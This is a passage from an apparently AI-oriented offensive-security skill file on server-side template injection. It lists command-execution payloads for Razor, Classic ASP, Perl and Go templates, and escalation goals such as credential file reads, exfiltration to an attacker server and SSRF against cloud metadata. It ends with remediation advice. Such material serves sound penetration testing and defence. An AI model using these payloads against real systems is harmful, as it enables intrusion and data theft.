309 - `@(1+2)` -> `3`
310 - `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
311 - `<%= CreateObject("Wscript.Shell").exec("cmd /c whoami").StdOut.ReadAll() %>` (Classic ASP)
312- Perl (Template Toolkit):
313 - `[% PERL %] ... perl code ... [% END %]`
314 - `<%= perl code %>` or `<% perl code %>` (Depending on config)
315- Go (`text/template`):
316 - Potentially dangerous if methods allowing command execution are exposed to the template: `{{ .System "ls" }}`
317 - `html/template` is generally safer against XSS but might still leak info if not used carefully.
318
319### Comprehensive Payloads
320
321- [PayloadsAllTheThings - SSTI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)
322- [PayloadBox - SSTI](https://github.com/payloadbox/ssti-payloadsb/ssti-server-side-template-injection/index.html)
323
324## Chaining and Escalation
325
326SSTI often leads directly to RCE, but can also be used for:
327
328- **RCE:** Primary goal, gain shell access.
329- **File Exfiltration:** Read sensitive files (`/etc/passwd`, `web.config`, source code, credentials).
330- **Information Disclosure:** Dump environment variables, application configuration (`{{config}}`, `{{settings}}`), object properties, internal network paths.
331- **Internal Network Access:** Use RCE to pivot, scan internal networks, or access internal services.
332- **Privilege Escalation:** Combine RCE with local exploits if the web server runs with elevated privileges.
333- **Data Exfiltration:** Send internal data to an attacker-controlled server (e.g., via HTTP requests or DNS exfiltration from within the template code).
334- **SSRF pivot:** Some engines permit URL‑fetch filters (`{{''|fetch('http://...')}}`); leverage SSTI to query cloud‑metadata endpoints.
335
336## Remediation Recommendations
337
338- Never Render User Input Directly: The most critical step. Treat user input as data, not code.
339- Use Safe Templating Practices:
340 - Pass user data into templates using dedicated template variables (e.g., `render_template('page.html', user_data=user_input)`).
341 - Use logic-less templates if possible.
342- Sanitize and Validate: If rendering user input is unavoidable (e.g., CMS), rigorously sanitize it. Remove or escape all template syntax characters (`{`, `}`, `$`, `%`, `<`, `>`, etc.). Use allow-lists for safe HTML if needed.
343- Use Sandboxed Environments: Configure the template engine's sandbox if available and effective for the specific engine. Be aware that sandboxes can often be bypassed.
344- Choose Safer Engines: Prefer engines designed for security, like Go's `html/template` over `text/template` for HTML output, as it provides context-aware auto-escaping.
345- Principle of Least Privilege: Run the web application process with minimal privileges.
346- Input Validation: Validate input against expected formats (e.g., email, number) before it reaches the template layer.
347- Patch management: track and apply security updates for template engines (see Recent CVEs).
348- Harden runtime: enable seccomp/AppArmor or gVisor so that even a successful RCE has minimal kernel attack surface.
349- CI guardrails: block usage of dangerous APIs (e.g., `render_template_string`, `Template.compile`, `eval` filters) via linters/semgrep; add approve‑list of safe helpers
350- For Node: disable `with` in EJS, avoid `compileDebug`, and run with `vm` sandbox only when fully locked down (no `require` or `Function` reachable)
351
352---
353
354**Source:** [`SnailSploit/Claude-Red`](https://github.com/SnailSploit/Claude-Red) → `Skills/web/offensive-ssti/SKILL.md`